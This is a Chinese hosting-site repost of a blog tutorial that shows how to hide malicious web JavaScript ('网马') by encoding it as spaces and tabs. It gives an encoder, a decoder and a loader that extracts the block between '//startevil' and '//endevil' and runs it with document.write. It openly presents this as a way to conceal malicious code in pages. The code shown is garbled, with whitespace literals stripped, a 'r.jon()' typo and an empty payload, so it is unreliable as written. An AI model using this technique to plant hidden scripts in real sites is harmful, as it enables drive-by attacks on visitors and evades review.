鸿 网 互 联 www.68idc.cn

当前位置 : 服务器租用 > 网站安全 > 加密解密 > >

jvascript字节流加密

来源:互联网 作者:佚名 时间:2015-10-09 06:17
WoYiGuis BLoG 我们先看如下 加密 函数: function dehydrate(s) { var r = new Array(); for (var i=0; i s.length ; i++) { for (var j=6; j = 0 ; j-- ) { if (s.charCodeAt(i) (Math.pow(2,j)) ) { r.push( ); } else { r.push(); } } } r.push(); retur

WoYiGuis BLoG

我们先看如下加密函数:

function dehydrate(s) {
  var r = new Array();
  for (var i=0; i < s.length ; i++)
  {
    for (var j=6; j >= 0 ; j-- )
    {
      if (s.charCodeAt(i) & (Math.pow(2,j)) )
      {
        r.push( );
      } else {
        r.push( );
      }
    }
  }
  r.push( );
  return r.join();
}

将一个包含任意字符的字符串转换为一个只包含空白字符的字符串,而这些空白字符实际上表示了原字符串中对应字符的字节流。一个空格表示1,一个制表符(Tab)表示0,而换行符则表示字节流的结束。例如:a = 空格 空格 制表 制表 制表 制表 空格开头 = 110001 = 97 .我们对一段网马进行加密后变成如下代码:

//startevil
                       
                   
//endevil

请注意,注释的中间关非空白,而是加密后的代码。我们将其代码放入网页中,然后使用解密函数进行解密:

function hydrate(s) {
  var r = new Array();
  var curr = 0;
  while(s.charAt(curr) != ) {
    var tmp = 0;
    for (var i=6; i>=0 ; i-- )
    {
      if (s.charAt(curr) == )
      {
        tmp = tmp | (Math.pow(2,i));
      }
      curr++;
    }
    r.push(String.fromCharCode(tmp));
  }
  return r.jon();
}

当我们把代码放入页面时,还要对其取出:

var html = document.body.innerHTML;
var start = html.indexOf("//startevil");
var end = html.indexOf("//endevil");
var code = html.substring(start,end);
document.write(hydrate(code));

这种使用空白字符串的加密方法,能够在光天化日之下非常有效的隐藏恶意的Javascript代码。

网友评论
<